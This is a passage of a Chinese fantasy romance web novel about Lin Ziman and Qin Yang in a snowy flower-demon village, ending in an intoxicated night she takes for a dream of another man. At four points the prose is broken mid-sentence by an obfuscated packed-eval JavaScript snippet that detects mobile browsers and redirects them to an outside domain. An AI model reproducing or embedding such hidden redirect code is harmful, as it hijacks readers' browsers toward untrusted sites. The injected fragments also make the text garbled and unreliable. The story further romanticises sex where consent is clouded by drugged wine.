语毕,她转头看向林子满,脸上的不快退去,换上一副笑脸,温柔又可人,声音轻柔地开口:“林姐姐,这些猪仔都是我今早才从邻村接过来的,已经洗得干干净净的了,不脏的,你挑一头喜欢的带走。” “倒也不必!”林子满手忙脚乱地按住怀里扑腾的小猪,有些哭笑不得,“整个花月村就数你养猪养得好,旁人都养不活,我也没这个本事,就不祸害它们了。” “你就将养猪的秘诀告诉柿子姐姐呗,她这么喜欢猪,不能养多可惜啊。”雪枝推推胜春,“你瞒着我们就算了,瞒着柿子姐姐做什么,她又不会抢了你的风头。” 胜春一脸为难地对林子满说:“不是我小气,藏着掖着不肯告诉你们,而是真的没什么秘诀。我每日做的也就是给些吃食,再将猪圈打扫一下,我实在不知为何只有我能将这猪养好。” 或许这就是天赋? 雪枝一脸不信,还欲说上两句,被林子满制止了。 “雪枝——”林子满无比真诚地说,“我真的没有想养猪。” 雪枝:“怎么可能?你这么喜欢猪,怎么会不想养?” 林子满还没说什么,一直沉默的秦扬忽然问道:“你很喜欢猪?” “是啊!柿子姐姐可喜欢了!”雪枝抢话道,“她上次来的时候,对其他的东西都没什么兴趣,独独喜欢来胜春姐姐这儿看猪!” 那时候的胜春也还是个小姑娘,却能将一头怀孕的大母猪侍弄得井井有条,不久便产下十来个猪仔。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902870|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子满偶然路过,见白白胖胖的小猪仔围成一排,乖乖伏地吃奶,一时手痒,没忍住上前摸了摸。小猪仔吃奶吃得正开心,被这么一打扰,忍不住发出不满的哼唧声,吵醒了正晒着太阳睡觉的母猪。 正所谓女子本弱,为母则刚,放在其他生灵身上一样适用。 母猪一转头见着林子满这陌生人,自己的孩子正在她的魔爪之下“哀嚎求救”,顿时怒气冲冲地爬起来,嗥叫着朝她冲去。 这猝不及防的一击着实令林子满吃了一惊,慌忙退出猪圈才逃过一劫。 “柿子姐姐宁愿被猪撞,也要去摸那猪仔,可见她有多喜欢!”雪枝一脸坚定,语气信誓旦旦。 林子满无奈扶额,简直有口难言,她若知道那母猪性格那般彪悍,打死她都不会去摸的! 谁知这样的黑历史还能以讹传讹,传到最后变成了她对这猪仔爱得深沉,任她如何解释都没用。如今几百年过去了,她们依旧深信不疑! 她正暗自悔恨当年的一时手欠,耳边传来一声闷笑。 林子满抬头看去,秦扬唇边的笑意已经敛去,正一脸无辜地看着她。 二人对视良久,林子满眼睛一眯,忽然抬手招呼他过来。 秦扬不明所以地走上前,看见对方朝他狡黠一笑,他一时恍惚,反应就慢了许多,让林子满轻易得了手。 秦扬:“……” 他与怀中多出来的猪仔沉默对视,额角的青筋隐隐跳动。 林子满看着秦扬面无表情的脸,没忍住哈哈大笑起来。 原来他被捉弄抱上猪仔会是这样反应啊。 …… 接下来几日,林子满带着秦扬这家吃吃,那家看看,过了几天颇为悠闲的日子。 这极北之地远离尘世喧嚣,在这儿长大的妖虽实力不强,却比外界的妖更从容几分。 他们不执着于修为,心性纯洁,在这与世隔绝的地方过着属于自己的生活,反倒更得天道垂青,化形也比其他的妖容易许多。 花月村里住着的都是花妖,邻村住的是兔妖、猪妖,再远些的村落里还有鸟妖、石妖、雪怪等。 秦扬还是第一次见到这么多奇奇怪怪的小妖,看上去对这些饶有兴致,林子满躲懒不想动时,他还会自己出门去逛逛。 这日,林子满独自在树屋里睡了个长长的午觉,醒来时已是傍晚。 她撑着额头坐起身,整个人浑浑噩噩的,脑子里像塞满了糨糊一样,头昏脑胀的。 正双眼迷离地望着面前的空气发呆,鼻尖翕动,忽地捕捉到一丝香气。 秦扬自外面走进来,将手里端着的东西放在桌上,发出一声沉闷的“咚——”。 “醒了?”听到动静,他转身走过来,抱臂倚在屏风上,“今晚没有宴席吃,只能将就将就,尝尝我的手艺了。” “你做了什么?好香啊。”林子满绕过他,循着香气的来源看过去。 ——藤木桌上,立着一只熟悉的陶锅。 “我看你上次很喜欢喝那鸡汤,便向雪枝讨教了做法。”秦扬的声音从她身后传来,“今天还是第一次做,也不知合不合你口味。” 54. 缘由 锅还是雪枝那个陶锅,是秦扬费了好一番口舌才从她那里借来的。 鸡用的却不是花月村里散养的麻鸡,而是极为罕见的高山雪雉,秦扬守了好几天才蹲到一只,肉质细腻鲜美,不是一般鸡肉可比的。 秦扬取过木勺盛了一碗,放在林子满面前:“长老尝尝,可还能入口?” 这话就有些谦虚了,他的厨艺向来很不错,这汤所用的食材又这般用心,即便是第一次做,也不会差到哪里去。 盛汤的碗是花月村惯用的冰碗,以万年寒冰雕琢而成,即便装满滚烫的热油,也不会融化分毫,剔透的冰晶衬着色泽金黄的鸡汤,分外诱人。 但林子满看着眼前的汤,迟迟没有动作。 “长老?”秦扬疑惑。 林子满回过神来,用小勺拨了拨汤面上漂着的葱花,舀了一勺送入口中,细细品味片刻,而后在秦扬希冀的眼神中微微一笑:“确实好喝。” 秦扬悄悄松了口气,笑逐颜开:“你若喜欢,出去以后我便依样做一个这样的锅,时常做给你喝。” 林子满垂头喝汤,不置可否。 秦扬为了那锅鸡汤,忙前忙后好几天,就是想给林子满一个惊喜。 可不知哪里出了岔子,弄巧成拙了,不旦欢心没讨到,林子满好像还闷闷不乐起来了,自那夜之后就一直恹恹的,打不起精神,任秦扬如何逗趣说笑都只是勉强扯一扯唇角。 秦扬试探着问过原因,林子满却总是三言两语糊弄过去,说自己只是前些天累着了,歇了两日懒劲又上来了,并不为其他什么事。 这样随意的由头,秦扬自是不信的。 他百思不得其解,那鸡汤的味道自然是没什么问题的,他的口味比一般人还挑剔几分,连他都觉得满意的汤,应该不至于难喝吧? 可思前想后,除了那碗汤,又实在没有其他的原因了。 又一日午后,林子满照旧没精打采地躺在屋外树干上发呆,再次拒绝了秦扬出去走走的邀请,语气委婉又不容拒绝。 秦扬沉默片刻,微微叹了口气,最终还是独自跳下树,朝着远方走去。 林子满遥遥看着他的背影,眼里情绪翻涌。那是不得不面对真相的妥协,悲哀又无可奈何。 秦扬没去其他地方,目的明确,直朝北边而去。 花月村虽常年飘雪,因着众花妖妖力加持,雪落于地则化为无形,与外界村落并无区别,丝毫不见极北之地该有的荒凉。 村里只有一处地方,与雪原接壤,终年积雪不化,寒风彻骨,那便是雪莲一族所居之地。 秦扬在一座冰屋前停下脚步,眼神越过篱笆朝院内望去。 这由整块巨型冰块凿出来的屋子处处透着精致,房檐屋脊皆雕着盛放的雪莲花,摇曳生姿,形态各异。檐下挂着几串冰晶风铃,在寒风中微微晃荡,奏出极清脆的铃声。 “有人在家吗?”秦扬扬声问道。 屋内一片寂静,并无人应答。 秦扬有些疑惑,这院门都还开着,应当是在家的啊。他提高声音又问了几句,依旧没有任何动静,他散出神识,也没发现屋内有人。 未经允许,又不好擅自闯入,秦扬只得倚在院门口,一边等人一边想事情。 好在没过多久,雪枝就回来了。 看见秦扬站在门口发呆,她有些惊讶地问:“你怎么来了?” 秦扬站直身,笑笑:“偶然路过你家,刚好有点事想问问你,便在这儿等你。” “那你怎么不进去等?干站在这儿做什么?”雪枝奇怪地看着他。 秦扬说:“主人不在家,我怎好冒然进去?” “我们这儿没那些规矩,门开着便可以随意出入。”雪枝引着他往院内走去,“再说了,雪盈不是在家么,你非等着我做什么?” 听她这么说,秦扬微讶:“我方才唤了好几声,都没人应答,便以为屋内无人,原来雪盈在家啊。” 他才踏进屋子,头顶传来一阵咯咯笑,清脆的童音响起:“我一直在啊!” 秦扬一惊,霎时全身肌肉紧绷,猛地抬头望去—— 雪盈正抱着只兔子蹲在房梁上,笑得十分开心。 秦扬眸色渐深,明明只是个幼年花妖,却能躲过他的神识。 上次在雪原,他与林子满都刚刚醒来,又没有特意散出神识,没注意到她还说得过去,可这次他在门口待了这么久,却依旧没有发现屋内藏着的人。 这雪莲一族,还真是有点本事在身上。 雪盈被他凌厉的眼神吓了一跳,脸上的笑意僵住,搂紧怀里的兔子跳下来,小跑着躲去母亲身后,过了片刻,又怯怯地探出半个头偷瞄他。 “你又调皮了是吧?”雪枝反手拎住她的耳朵,“明明在家怎么不答人家的话?没礼貌!” 雪盈有些委屈地撅嘴:“我只是听说外面的人都很奇怪,门开着都不知道自己进,就跟兔兔打赌他会不会进来,谁知道他真不进来啊。” “这是人家守礼。外面的世界与我们这儿不同,不问问就进人家家里会被当成坏人抓起来活活打死的!”雪枝教训女儿,“你以为哪里都大敞着门任你跑进跑出的啊!” 雪盈被那句“活活打死”吓住了,刚刚又被秦扬凶凶地看了一眼,再没了玩闹的心思,抱着兔子心有戚戚地往自己房间里跑去。 唬住了闹人的女儿,雪枝这才有空邀秦扬坐下,而后又去院子里薅了几朵颜色各异的花煮了壶花茶。 秦扬看着水中红的、黄的、黑的花瓣上下翻涌,神情复杂,沉默半晌还是搁下了手中的杯子,转而说起自己的来意。 “我上回按你教我的法子炖了一锅鸡汤,我尝着味道还不错,可不知为何你柿子姐姐尝过以后反而不开心了,难不成你教我的法子是错的?抑或是你做汤的法子本就有问题?” “我的法子不可能有问题的!”雪枝信誓旦旦,“我也不是那种藏着掖着小气的人,旁人来问我都一一相告,更别说你是要做给柿子姐姐吃的,我教给你的说一句倾囊相授也不为过!” 秦扬不解:“那是哪里出了问题?总不可能是因为我将普通的鸡换成了雪雉吧?” “那更不可能!雪雉肉鲜味美,做出来的汤只会更好喝!”说到这儿,雪枝有些嫉妒地咬了咬牙,雪雉极为稀有,警觉性又高,极难捕捉,就连她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902871|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是幼时吃过一次,念念不忘几百年也没能再次吃到。 这人怎么就这样幸运,才来几天就让他捉住了一只! “你将你做汤的过程从头到尾讲一遍,我看看你是不是做的过程出了岔子。” 秦扬一边回忆一边细细地说着,一星半点的细节都没漏过。 雪枝凝神听了许久,整个过程都是照她说的做的,挑不出丝毫错处,只除了最后那一步。 她问:“你往汤里撒了葱花?” 秦扬点点头:“那日我捉了雪雉,回来的路上碰见一丛长得正好的葱,便拔了几株回去。” 鸡汤炖好以后撒上一小把翠绿的葱花,不仅会将菜点缀得更加好看,还能去腥增鲜,平添一股清香。 这做法确实是没什么错处的,雪枝平时做汤时也会这样干,但这次的问题恰恰就出在这儿—— “柿子姐姐不爱吃葱的。” “不可能。”秦扬反驳,“我与她相识多年,从未听说过她不吃葱,她去凡间时甚至还会主动买葱油饼吃,怎会不爱吃葱?” “煮熟的葱她是爱吃的,但她不爱吃生葱,这种出锅以后才撒在汤上的她更是碰都不碰的。”雪枝解释道,“所以我教你时并未让你放葱,谁知你自己琢磨着又加上了。” 原来竟是这样? 秦扬有些茫然地想,是因为吃到了不喜欢的东西才不高兴的么? 雪枝显然也想到了这儿,但她依旧有几分疑惑:“可这不应该啊。柿子姐姐性情豁达,从不计较这些小事,怎会因你放了她不爱吃的东西就生气?” 秦扬虽也不解其中深意,但他直觉这就是自己这几天在找的起因。 即便说起来有几分儿戏,他也知道,这就是林子满闷闷不乐的缘由。 摸清了原因,就有解决的办法了。 告别了雪枝,秦扬匆匆往回走去,步履轻快,又带着几分迫不及待,以至于拐出花枝垂坠的小路时险些撞到了迎面跑来的小孩。 扎着两个小啾的男孩怀中抱着一坛酒,手上还拎着一小坛。 是邻村的小兔精。 见着秦扬,他先是好奇地打量了几圈这个传说中外面来的人,看来看去好像与他们也没什么不同,这才龇着门牙问:“你当真是圣山外面来的人?” 秦扬如今心情正好,笑着点了点头,说:“是啊,你认识我?” 小兔精吸溜了两下鼻涕:“当然!你是跟那个柿子姐姐一起来的嘛,我听盈盈说过!” 说着他往秦扬身后看了看——空无一人,他脸上露出一副果然如此的表情,神神秘秘地凑近几分,小声问:“你跟她,你们真的吵架了?” 秦扬挑了挑眉:“你怎么知道?” “大家都这么说!”小兔精说的头头是道,“前些天你们一直黏在一起,去哪儿都是两个人,这几天只有你一个人,可不就是吵架了嘛!” “对啊,我惹她生气了,这可怎么办才好?”秦扬故作忧愁地叹了口气。 见他这么难过,小兔精有几分犯难,刚想挠挠头,就看到了手中拎着的酒,顿时灵光一闪:“要不我将这酒分你一点?喝了你们就会和好的!” 55. 酒后。。 小兔精举起手中古朴的小酒坛晃了晃:“这是合姐姐新酿的酒,我才买到的!附近村里凡是吵架的夫妻,皆会来向合姐姐讨酒,饮下后第二日便会重新变得浓情蜜意。”明明还是个小孩儿,说起话来却一套一套的。 他口中的合姐姐秦扬也有所耳闻,是位不爱出门的百合花妖,酿得一手好酒。但这酒别样的功效,他却未曾听林子满提起过,因此有些怀疑地问:“真有这么神奇?” “当然!不信你可以去打听打听,合姐姐的酒很出名的!不仅是附近的村子,连深山里那几个村子都有人前来讨酒。”小兔精拍拍怀里的酒坛,“我爹惹了阿娘不快,已经得了好几日冷脸了,这不,搜罗了一堆东西让我来找合姐姐换酒。” “这酒可贵了,本来只能换这一坛子的,合姐姐见我可爱才多送了我一小坛。” “不过见你这么可怜,这坛就分给你吧!”小兔精忍痛道。 见他一脸忍痛割爱的表情,秦扬忍不住笑了笑,倒也没拂了他的一番好意,接过酒坛,掀开盖子闻了闻,一股清幽的香气扑面而来。 好酒! 秦扬眼前一亮,这酒就算没有其他功效,拿来赔罪也是个不错的选择。 于是他说道:“那就多谢你了。” 他从储物袋里摸了个新奇玩意儿递给小兔精,看他兴高采烈地跑远,这才拎着酒往回走去。 待秦扬回到树屋时,林子满已不在屋内,不知去了何处。 他将拎了一路的酒坛放在桌上,趁此时机张罗了一桌下酒菜。 林子满回来时,天已经擦黑了,外边零零碎碎地飘着雪,天上乌云密布,看来今晚又是一场大雪。 一直候在门口的秦扬迎上去,轻轻拂去落在她肩头鬓角的雪花,问:“长老这是去哪儿了,现在才回来?” 林子满搓了搓手,说:“四处走了走,一时忘了时辰。” 她走进屋内,看着满满一桌的菜肴,有些惊讶:“有客人吗?怎么做这么多菜?” “哟,还有酒呢。” “没有客人就不能吃得丰盛些了?”秦扬拉着她冰凉的手在炭炉旁烤了烤,“先暖和暖和。” 屋外雪落如鹅毛,凛冽的寒风呼啸而过。 红泥烧成的小火炉里搁着几块炭,往外涌着热气。 秦扬提起酒壶,斟了两杯温热的酒,将一杯推至林子满面前:“听说这酒是花月村的特色,十分出名,不知上次长老来时可尝过?” “这是夜合酿的酒?”见他点头,林子满轻呷一口,“听闻她最擅以花粉酿酒,清冽醇香,在这雪原可谓是远近闻名,只在每年花开时酿一次,我上次来花月村时是冬月,花不曾开,自是无缘得尝这酒了。” 秦扬好奇:“这雪原一年四季皆如冬日,还需依照时令开花?” “她们是妖,自然能令寻常花草不受节气所限制,冬日荷花、早春丹桂也不是什么难事。只是她们不喜欢那样做,她们认为花草是自由的,应该在想发芽的时候发芽,想开花的时候开花,若一朵花实在不愿开,也不要逼迫它,只要不碍着旁人什么事,又何必勉强它们?” “随性而为。”秦扬感慨,“我倒是有几分敬佩她们了。” “是啊,这世上的人与妖,不管强大还是弱小,对于自己能掌控的东西,总忍不住随意操纵,只要自己顺心如意了,又有多少人会在意被操纵者是否愿意呢?”林子满仰头饮尽杯中酒。 秦扬提壶为她又斟满一杯,说:“长老海量啊。上回在地下暗河,我还担忧长老喝那么多醉了可怎么办,不成想倒是我多虑了。” “我从前酒量可不好。”林子满笑道,“偏偏那些用灵植酿出来的酒又实在是香,将我馋得不行,时常因为偷酒喝醉倒,后来还是我——” 她的话音截然而止,脸上的笑意淡下去。 后来还是林征特意为她酿了许多不烈的果酒,味道甘甜,酒香浓郁又不醉人,才避免了她有朝一日醉倒后淹死在酒缸里。 但后来喝不到那种酒了,喝着普通的酒,醉了一次又一次,酒量也慢慢上来了。 秦扬看着她眼中的落寞,识趣地没有多问。 两人就着火炉,有一搭没一搭地说着闲话,一壶酒很快就见了底。 秦扬又倒上一壶置于炉上,听着炭火时不时发出一声哔啵声。 不知是炭火太旺将屋里烘热了,还是多喝了几杯酒,秦扬觉得身上逐渐燥热起来,额角不住地往外渗着汗珠。 他头脑昏沉,眼前的世界仿佛蒙上了一层雾,朦朦胧胧看不真切。而在这一片朦胧中,林子满却显得越发清晰起来。 一颦一笑,一举一动,连酡红的双颊上蒸腾出的热气都一丝不漏地落尽他眼里。 他突然觉得喉咙发紧,血气下涌,胸腔里的那颗心鼓动得仿佛擂鼓。 “我出去透透气——” 匆匆留下这么一句话,秦扬搁下酒杯站起身,步伐微乱地推开门走出去。 “咕嘟咕嘟——” 火炉上的酒又热了,秦扬还没回来,林子满拎起酒壶,开始自斟自饮。 杯中的酒温热清甜,透着一股若有若无的花香,一杯下去口齿留香,引得人不自觉喝了一杯又一杯。 不知过了多久,手中的壶好像又空了,林子满在耳边晃着听了听,有些意兴阑珊地扔在桌上。 火炉里的炭烧出了一层白灰,火红的光在一片灰蒙蒙中忽明忽暗。 林子满盯着瞧了片刻,觉得脑袋越发沉重了,不由得伏在了桌上,慢慢闭上了眼睛。 “吱嘎——” 有人推门进来了。 林子满懒得动弹,就着趴伏的姿势偏头望向声源处。 几片雪花随着来人的衣角吹进来,落在地板上消失不见。 林子满目光上移,略过一身?色衣袍,滑过如玉的面容,撞进一双妖冶的眼眸。 桌上的烛火随着风摇晃起来,男子的五官在烛火中明明灭灭,俊美又邪性。 林子满痴痴地看着眼前熟悉又陌生的人,一时没敢出声,生怕又是自己的幻觉。 杨之曜看她这幅呆呆的样子,没忍住笑了声:“怎么这样看着我?不认识我了?” 像是被他的声音惊扰到,林子满直起身子,微微瞪大了眼。 这回他竟同她说话了? 难道是在做梦吗? 杨之曜走到她身旁,微微俯下身,用手探了探她发烫的脸颊:“没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902872|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” “你回来了?”他离得这样近,还用这样关切的眼神看着自己,林子满不由得委屈起来,“你怎么现在才回来,我等了你好久。” 停在她脸上的手指顿了顿,林子满偏头蹭了蹭,听见他说:“你醉了。” “醉了就醉了吧,醒着难过,醉了好像开心些。”都能见到你了。但最后一句话她没敢说,做梦时不能惊扰入梦之人,否则若让他知道自己只是梦,他就会走,梦就散了。 林子满抓住杨之曜的手,一个用力,将他扯得跌坐在椅子上,而后像蛇一般缠了上去,搂住他的脖子,将发昏的头靠在他胸膛上,脸紧紧贴在衣襟上。浸透了寒风的衣服很凉,她不自觉蹭来蹭去,想驱逐掉身上的燥热。 脸上的热度好像缓解了几分,林子满舒服了些,但耳边的“咚咚”声越来越大,好吵—— 她仰起头,有几分抱怨地说:“你心跳得好快。” 却发现杨之曜眼神漂移,不敢对上她的眼睛,林子满蹙眉:“你为什么不看我?” 听着这近似撒娇的话语,杨之曜不自觉看向她,心跳控制不住地漏了一拍,他克制着问:“……你还认得出我是谁吗?” 林子满有些生气:“我当然认得出!你这么好看,我怎么可能认不出!这世上还有比你更好看的人么?” 说着她又笑起来:“就算没有这么好看我也认得出,谁叫我这么喜欢你呢。” 听到她这句直白的“喜欢”,杨之曜仿佛被雷击一般,浑身僵住,眼里涌出狂喜,激动得手脚都不知道往哪放。 杨之曜向来是冷静自持的,还从未见过他这副模样,林子满心下一动,忍不住凑近那薄唇。 既然是梦,那她为什么不能大胆些、随性些呢?毕竟下次梦到他,都不知道是什么时候了。 双唇接触的刹那,杨之曜的喉头剧烈地滚动了一下,握在林子满胳膊上的双手猛地一紧,将她捏得发出一声不满的哼声。 察觉到她脖颈微动,有要离开的意图,杨之曜一手扣住她的后脑,将她用力按向自己,加深了这个吻。 待到两人分开时,林子满已经气喘吁吁了,她无力地趴在杨之曜胸口,有些嗔怪地说:“你……你怎么这么凶?” 杨之曜搂紧她,声音喑哑:“这还凶?我已经很克制了。” 林子满瞪他:“就是凶!你别想欺负我!” 她做出凶狠的样子,可那双水光潋滟的眸子实在没什么威慑力,只看得杨之曜又是呼吸一窒,忍得眼睛通红。 他凑近林子满的耳朵,叼住她的耳垂轻轻啃咬,时不时惩罚般用犬齿不轻不重地一磨,含糊不清道:“明明是你在欺负我……” 耳朵被噙住,林子满一颤。 她本就燥热难耐,这人还这样折腾她的耳朵,于是她揪住身下人的衣襟,偏头一口咬在了近在咫尺的喉结,咕哝道:“让你咬我……” 火炉中还未燃尽的木炭时不时发出哔啵声,在含糊的呢喃中显得格外清晰。 屋外的雪越发大了起来,树梢枝桠堆满了厚厚的雪,整个花月村都寂静下来,没有一丝声响。 高高树屋里的一室春暖,粗重的喘息与细碎的泣音,都被皑皑白雪所掩藏。 56. 贪心 翌日,下了一整夜的大雪终于停了下来,碧空如洗,一轮暖融融的太阳自东方升起,这极北之地迎来了一个难得的好天气。 受了一夜冻的鸟雀抖擞着羽毛,在树枝上挨挨挤挤地站成一排,放声高歌。 阳光越过窗棂倾泻而下,将树屋内照得亮堂堂的。 林子满被这刺目的光晃了眼,自睡梦中惊醒过来,皱着眉睁开了双眼。 她眼神空茫地望着床帷,迟迟没缓过神来。 昨夜好像难得做了个好梦,见到了思念已久的故人,若非这恼人的阳光,她现下还在梦中不愿醒来。 梦里的具体内容已经模糊不清,她只记得自己又喜又恼,一时笑一时哭的。 她想仔细回想一番,宿醉后的脑子却还有些混沌,一思索就昏沉沉的,那酒喝着清甜,没想到后劲还挺大。 林子满揉着额头想坐起来,起身到一半,动作却猛地一僵,整个人犹如被施了咒般定在原地,好半晌没有一点动作。 林子满:“???” 她看着横在自己胸前的那条赤裸手臂,本就一团浆糊的脑子这下连转都转不动了。 她这是还醉着? 还是根本没醒,在梦里? 可梦里不是感觉不到痛吗?为何她现在浑身酸痛,从头到脚没有一处舒坦的地方? 林子满兀自在风中凌乱,手臂的主人微微一动,也醒了过来。 看着姿势怪异的林子满,秦扬揽着她的手轻轻一使劲。 林子满那备受折腾又僵直了半晌的腰顿时酸软下来,再坚持不住这姿势,失去平衡的林子满重重砸回床上。 秦扬趁势将她搂进怀里,蹭着她的鬓角,嗓音慵懒:“这么早,长老要去哪儿?” 林子满看着在眼前放大的俊美脸庞,整个人僵得比村口那块冻得极为扎实的巨石还硬。 这这这、这到底什么情况?! 她扯动嘴角,努力了好几次,才勉强发出一句沙哑得不成样的声音:“我、我这是在做梦吗?” 秦扬轻笑着看她,语气宠溺:“别怕,这不是梦。” 他拉过林子满一只手,抚上自己的脸:“你摸摸看,是不是真的。” 他笑得一脸甜蜜,林子满却是完全笑不出来,她神情恍惚,一副如遭雷击的样子。 见她这副模样,秦扬眼里的笑意渐渐散去,扬起的唇角垂下,心也一点一点沉了下去。 他定定地看了林子满片刻,极力想从她脸上找出些喜悦的情绪,可看来看去,也只看出了四个字—— 晴天霹雳。 秦扬很想将这理解成她过于震惊,一时没能反应过来,而不是她根本不希望昨夜的事发生,可林子满紧蹙的眉头,让他不得不打破自己的幻想。 “长老是在后悔吗?”秦扬轻声开口,他的语气十分平静,却让林子满后背莫名一凉。 后悔啊!现在就是一整个大后悔!!! “昨夜……昨夜我们都喝多了,说过的话做过的事都作不得数,就当……就当什么都没发生过吧。”林子满避开秦扬的视线,拥着被子往后退了几分,试图远离他的怀抱。 “当什么都没发生过……作不得数?”秦扬轻声喃喃,“长老这是何意?是不打算负责吗?” 林子满坐起身的动作再次一僵,她有些难以置信地看向秦扬,什么叫她不打算负责?怎么说得跟她是那种提上裤子就翻脸的人一样? 昨晚的事明明她才是吃亏的那一方好吧?! 怎么如今秦扬一副被蹂躏了的作态,她反倒成了那个玩弄又抛弃了他的人? 或许是林子满的表情过于震惊,以至于未发一言,秦扬依旧一眼就看穿了她心中所想。 “昨夜是长老先动的手,我推阻不过才……”他顿了顿,许是怕林子满恼羞成怒,到底没有说的太直白,只是哀怨地看了她一眼,委屈地控诉,“难道不该负责吗?” 什么?昨夜是谁先动的手? 林子满一整个呆住了。 她动的手? 她强迫的秦扬?! 她已经色迷心窍到会去强迫他的地步了?!! 林子满怀疑自己的耳朵是不是出了什么毛病,不然怎么接二连三听到一些匪夷所思的话。 但随着秦扬这几句话,林子满混沌的脑子闪过几个片段,昨晚发生的事一点点重现在脑海中。 好像……他说的还真没错? 她看见自己强压着秦扬坐在椅子上,主动去亲人家,还强行撕烂了他的衣衫,将手伸了进去…… 林子满的耳朵霎时红得能滴出血来,整颗头仿佛烧了起来,不住地往外冒着热气,简直羞愤欲死,恨不得立马找条地缝钻进去! 她这头正天崩地裂,那头的秦扬倒善解人意起来:“我知道自己身份低微,配不上你,有掌门在前,我也不敢肖想光明正大地同你在一起。” “只是我倾慕长老的心思,从来未曾隐瞒,想必长老也是知道的。从前顾及礼法,不敢越雷池一步,可事已至此,能做的不能做的都已经做了,既然木已成舟,我也想为自己争取一次。即便不能与你比肩,我也想陪伴在你身边,哪怕是以一个见不得人的身份。” 这话可真是卑微到极致了,再被那样一双真挚的眼睛深深凝视,又有几人能不动容? 林子满怔怔地看着他,脑子一片混乱,她知道自己不该,可还是如同受到蛊惑了一般,被引诱着沉沦,哪怕前方是无尽地狱。 待到反应过来时,她才惊觉自己方才答应了秦扬什么。 她刚想反悔,秦扬已经扑过来,将她重新压在了身下。 林子满浑身紧绷,预备将他一脚踹下去,她这时可是清醒的,不可能再像昨天晚上那样任他为所欲为! 但秦扬这次什么都没做,只是鼻尖挨着鼻尖,眼睛晶亮地看着她,语气激动:“我就知道,长老待我也是不同的!” 话音未落,就听“扑通”一声,秦扬被掀了出去,重重摔在了地板上。 “说话就说话!别动手动脚的!”林子满两颊绯红,色厉内荏地斥道。 秦扬也不恼,从地上随便捞了件外衫披上,趴在床边仰头望着她:“我只是太高兴了,一时没忍住放肆了些,长老莫恼。” 林子满冷哼一声,这叫放肆了些?这已经是忤逆犯上好吧! 但被这样一番插科打诨,已经错过了反悔的最佳时间,林子满一时不知该如何开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902873|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看着将头搁在床沿,像小狗一样望着她的秦扬,心里迷茫又无措。 事情怎么就变成这样了呢? 她不过是做了个梦,梦里有她许久未见的杨之曜,她一时委屈又酒意上头,才抱着他又啃又咬。 谁知那根本不是梦! 可事实也确如秦扬所说,木已成舟,覆水难收,再怎么懊恼后悔都没有用了。 林子满透过屏风上的镂空雕花望向室外,阳光正透过古树枝桠一束束射下来,整个世界好似都因这几缕阳光温暖起来,一如当年她与杨之曜初见的那个春日。 她出神地看着半空中飞扬的尘埃,看着古树新生的嫩芽,看着那些远去不可追的过往。 良久之后,林子满终于下定了决心,她想,不如就这样吧。 修仙之人最忌讳的便是心生执念,越是无法得到的东西越容易念念不忘,情之一字更是如此,未能圆满的会成为永远的白月光,携手同行的反倒会走到相看两厌的地步。 她也实在是有些怕秦扬一直求而不得会走上歧途,既然退避不成,还不如成全他。 即便修为再难进益,以她元婴的境界,应该也还有百来年的时间能陪着秦扬。待他修为大成,见过更广阔的世界,遇到更美好的女子,自然就会觉得她不过如此,到时候,她也能安心地离去,如此,也不算违背当时的诺言。 秦扬见林子满一直不说话,眼里情绪几经变化,神情复杂又纠结,最终像是做了某种决定,垂下了眼睫。 他有些紧张地捏住了床栏,等待着她对自己的判决。 即便方才林子满一时恍惚答应了他,即便他在她要说出反悔的话之前嬉皮笑脸,故意引走了她的注意力,她还是可能会收回之前应允的话。 昨夜他是惊喜过了头,忽略了太多事,以为自己终于柳暗花明,等来了林子满的接纳。 可今早林子满的反应却像是兜头给他泼了一盆冷水,让他后知后觉地意识到,昨夜林子满的异常许是因为那坛酒,若她是清醒的,或只是寻常醉酒,绝不会与他做出那等越界之事。 他是不在意什么世俗礼法的,可他不能让林子满与他一起承受世人的指责,被人在背后议论嘲讽。 